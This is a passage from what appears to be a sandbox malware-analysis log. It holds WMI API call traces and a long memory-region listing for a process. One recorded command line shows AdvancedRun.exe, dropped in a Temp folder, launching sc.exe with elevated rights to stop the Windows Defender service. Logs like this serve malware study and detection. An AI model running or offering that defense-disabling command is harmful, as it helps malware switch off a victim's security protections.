CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloneEnumWbemClassObject", cchWideChar=24, lpMultiByteStr=0x523e6d0, cbMultiByte=26, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloneEnumWbemClassObject»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 24 [0156.169] GetProcAddress (hModule=0x6b3b0000, lpProcName="CloneEnumWbemClassObject") returned 0x6b3b6f50 [0156.177] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ConnectServerWmi", cchWideChar=16, lpMultiByteStr=0x523e6d8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ConnectServerWmi»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 16 [0156.177] GetProcAddress (hModule=0x6b3b0000, lpProcName="ConnectServerWmi") returned 0x6b3b7050 [0156.187] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetErrorInfo", cchWideChar=12, lpMultiByteStr=0x523e6dc, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="GetErrorInfo»mwk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 12 [0156.188] GetProcAddress (hModule=0x6b3b0000, lpProcName="GetErrorInfo") returned 0x6b3b7650 [0156.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Initialize", cchWideChar=10, lpMultiByteStr=0x523e6e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Initializewk\x8e3\x8aoDþ+q¸é#\x05", lpUsedDefaultChar=0x0) returned 10 [0156.195] GetProcAddress (hModule=0x6b3b0000, lpProcName="Initialize") returned 0x6b3b7920 [0156.207] CoCreateInstance (in: rclsid=0x6b3b3734*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x6b3b3794*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x523ee08 | out: ppv=0x523ee08*=0x5f0288) returned 0x0 [0156.207] WbemLocator:IWbemLocator:ConnectServer (in: This=0x5f0288, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x523eea8 | out: ppNamespace=0x523eea8*=0x5d1690) returned 0x0 [0156.264] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523ed2c | out: ppvObject=0x523ed2c*=0x5c0fec) returned 0x0 [0156.264] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x5c0fec, pProxy=0x5d1690, pAuthnSvc=0x523ed7c, pAuthzSvc=0x523ed78, pServerPrincName=0x523ed70, pAuthnLevel=0x523ed74, pImpLevel=0x523ed64, pAuthInfo=0x523ed68, pCapabilites=0x523ed6c | out: pAuthnSvc=0x523ed7c*=0xa, pAuthzSvc=0x523ed78*=0x0, pServerPrincName=0x523ed70, pAuthnLevel=0x523ed74*=0x6, pImpLevel=0x523ed64*=0x2, pAuthInfo=0x523ed68, pCapabilites=0x523ed6c*=0x1) returned 0x0 [0156.264] WbemLocator:IUnknown:Release (This=0x5c0fec) returned 0x1 [0156.264] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x6b3b35a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523ed20 | out: ppvObject=0x523ed20*=0x5c100c) returned 0x0 [0156.264] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x6b3b35b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523ed0c | out: ppvObject=0x523ed0c*=0x5c0fec) returned 0x0 [0156.264] WbemLocator:IClientSecurity:SetBlanket (This=0x5c0fec, pProxy=0x5d1690, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0156.265] WbemLocator:IUnknown:Release (This=0x5c0fec) returned 0x2 [0156.265] WbemLocator:IUnknown:Release (This=0x5c100c) returned 0x1 [0156.265] CoTaskMemFree (pv=0x629108) [0156.265] WbemLocator:IUnknown:AddRef (This=0x5d1690) returned 0x2 [0156.265] WbemLocator:IUnknown:Release (This=0x5f0288) returned 0x0 [0156.265] CoGetContextToken (in: pToken=0x523e260 | out: pToken=0x523e260) returned 0x0 [0156.266] CoGetContextToken (in: pToken=0x523e674 | out: pToken=0x523e674) returned 0x0 [0156.266] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x523e60c | out: ppvObject=0x523e60c*=0x5c0ff4) returned 0x0 [0156.266] WbemLocator:IRpcOptions:Query (in: This=0x5c0ff4, pPrx=0x5f687c0, dwProperty=2, pdwValue=0x523e700 | out: pdwValue=0x523e700) returned 0x80004002 [0156.266] WbemLocator:IUnknown:Release (This=0x5c0ff4) returned 0x2 [0156.266] CoGetContextToken (in: pToken=0x523ec44 | out: pToken=0x523ec44) returned 0x0 [0156.266] CoGetContextToken (in: pToken=0x523eba4 | out: pToken=0x523eba4) returned 0x0 [0156.266] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x523ec74*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x523eb40 | out: ppvObject=0x523eb40*=0x5d1690) returned 0x0 [0156.267] WbemLocator:IUnknown:Release (This=0x5d1690) returned 0x2 [0156.267] SysStringLen (param_1=0x0) returned 0x0 [0156.267] CoUninitialize () Thread: id = 202 os_tid = 0xb00 [0156.284] CoGetContextToken (in: pToken=0x5f1f328 | out: pToken=0x5f1f328) returned 0x0 [0156.284] CoGetContextToken (in: pToken=0x5f1f314 | out: pToken=0x5f1f314) returned 0x0 [0156.286] CoGetMarshalSizeMax (in: pulSize=0x5f1f2d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5f687c0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0 | out: pulSize=0x5f1f2d0) returned 0x0 [0156.288] CoMarshalInterface (pStm=0x61b638, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pUnk=0x5f687c0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0) returned 0x0 [0156.291] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x620028*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f1f210 | out: ppvObject=0x5f1f210*=0x5d1690) returned 0x0 [0156.291] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x6aa562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f1f1ac | out: ppvObject=0x5f1f1ac*=0x5d1690) returned 0x0 [0156.292] WbemLocator:IUnknown:QueryInterface (in: This=0x5d1690, riid=0x6aa562ec*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x5f1f164 | out: ppvObject=0x5f1f164*=0x5d1690) returned 0x0 [0156.571] IWbemServices:GetObject (in: This=0x5d1690, strObjectPath="Win32_PingStatus", lFlags=0, pCtx=0x0, ppObject=0x5f1f328*=0x0, ppCallResult=0x0 | out: ppObject=0x5f1f328*=0x5f7f0b8, ppCallResult=0x0) returned 0x0 Thread: id = 206 os_tid = 0xb10 Thread: id = 207 os_tid = 0xb14 Process: id = "9" image_name = "advancedrun.exe" filename = "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe" page_root = "0x766d000" os_pid = "0xdd0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xed0" cmd_line = "\"C:\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe\" /EXEFilename \"C:\\Windows\\System32\\sc.exe\" /WindowState 0 /CommandLine \"stop WinDefend\" /StartDirectory \"\" /RunAs 8 /Run" cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e95f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3439 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3440 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3441 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3442 start_va = 0x50000 end_va = 0x8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3443 start_va = 0x90000 end_va = 0x18ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000090000" filename = "" Region: id = 3444 start_va = 0x190000 end_va = 0x193fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000190000" filename = "" Region: id = 3445 start_va = 0x1a0000 end_va = 0x1a1fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001a0000" filename = "" Region: id = 3446 start_va = 0x400000 end_va = 0x423fff monitored = 1 entry_point = 0x40b2c6 region_type = mapped_file name = "advancedrun.exe" filename = "\\Users\\kEecfMwgj\\AppData\\Local\\Temp\\AdvancedRun.exe" (normalized: "c:\\users\\keecfmwgj\\appdata\\local\\temp\\advancedrun.exe") Region: id = 3447 start_va = 0x76e60000 end_va = 0x77008fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3448 start_va = 0x77040000 end_va = 0x771bffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3449 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3450 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3451 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3452 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3453 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3454 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3455 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3456 start_va = 0x300000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 3457 start_va = 0x74880000 end_va = 0x748dbfff monitored = 0 entry_point = 0x748bf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 3458 start_va = 0x748e0000 end_va = 0x7491efff monitored = 0 entry_point = 0x7490e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 3459 start_va = 0x74950000 end_va = 0x74957fff monitored = 0 entry_point = 0x749520f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3460 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3461 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3462 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 0 entry_point = 0x76c55340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3463 start_va = 0x76c40000 end_va = 0x76d5efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076c40000" filename = "" Region: id = 3464 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 0 entry_point = 0x76d7a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3465 start_va = 0x76d60000 end_va = 0x76e59fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000076d60000" filename = "" Region: id = 3466 start_va = 0x430000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3467 start_va = 0x75d40000 end_va = 0x75e4ffff monitored = 0 entry_point = 0x75d53283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 3468 start_va = 0x75150000 end_va = 0x75196fff monitored = 0 entry_point = 0x751574c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 3469 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 3470 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 3471 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 3472 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3473 start_va = 0x74cf0000 end_va = 0x74d9bfff monitored = 0 entry_point = 0x74cfa472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 3474 start_va = 0x73c20000 end_va = 0x73dbdfff monitored = 0 entry_point = 0x73c4e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 3475 start_va = 0x74e80000 end_va = 0x74f0ffff monitored = 0 entry_point = 0x74e96343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 3476 start_va = 0x75b00000 end_va = 0x75bfffff monitored = 0 entry_point = 0x75b1b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 3477 start_va = 0x75ca0000 end_va = 0x75d3ffff monitored = 0 entry_point = 0x75cb49e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 3478 start_va = 0x753d0000 end_va = 0x753e8fff monitored = 0 entry_point = 0x753d4975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 3479 start_va = 0x75710000 end_va = 0x757fffff monitored = 0 entry_point = 0x75720569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 3480 start_va = 0x74b90000 end_va = 0x74beffff monitored = 0 entry_point = 0x74baa3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 3481 start_va = 0x74b80000 end_va = 0x74b8bfff monitored = 0 entry_point = 0x74b810e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 3482 start_va = 0x77010000 end_va = 0x77019fff monitored = 0 entry_point = 0x770136a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 3483 start_va = 0x74bf0000 end_va = 0x74c8cfff monitored = 0 entry_point = 0x74c23fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 3484 start_va = 0x74c90000 end_va = 0x74ce6fff monitored = 0 entry_point = 0x74ca9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 3485 start_va = 0x73b80000 end_va = 0x73b88fff monitored = 0 entry_point = 0x73b81220 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 3486 start_va = 0x75820000 end_va = 0x7589afff monitored = 0 entry_point = 0x75821aee region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 3487 start_va = 0x75ff0000 end_va = 0x76c39fff monitored = 0 entry_point = 0x76071601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 3488 start_va = 0x75270000 end_va = 0x753cbfff monitored = 0 entry_point = 0x752bba3d region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 3489 start_va = 0x430000 end_va = 0x51ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 3490 start_va = 0x580000 end_va = 0x67ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 3491 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3492 start_va = 0x680000 end_va = 0x807fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000680000" filename = "" Region: id = 3493 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3494 start_va = 0x75c40000 end_va = 0x75c9ffff monitored = 0 entry_point = 0x75c5158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 3495 start_va = 0x751a0000 end_va = 0x7526bfff monitored = 0 entry_point = 0x751a168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 3496 start_va = 0x810000 end_va = 0x990fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000810000" filename = "" Region: id = 3497 start_va = 0x9a0000 end_va = 0x1d9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009a0000" filename = "" Region: id = 3498 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 3499 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3500 start_va = 0x220000 end_va = 0x220fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 3501 start_va = 0x230000 end_va = 0x231fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000230000" filename = "" Region: id = 3502 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 3503 start_va = 0x1da0000 end_va = 0x1e9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001da0000" filename = "" Region: id = 3504 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 4003 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4004 start_va = 0x280000 end_va = 0x28dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 4005 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4006 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4007 start_va = 0x75800000 end_va = 0x75804fff monitored = 0 entry_point = 0x75801438 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll") Region: id = 4008 start_va = 0x1ea0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001ea0000" filename = "" Region: id = 4009 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4010 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4011 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4012 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4013 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4014 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4015 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4016 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4017 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4018 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4019 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4020 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4021 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4022 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4028 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4029 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4030 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4031 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4032 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4033 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4034 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4035 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4036 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4037 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4038 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4039 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4040 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 4041 start_va = 0x220000 end_va = 0x22dfff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = 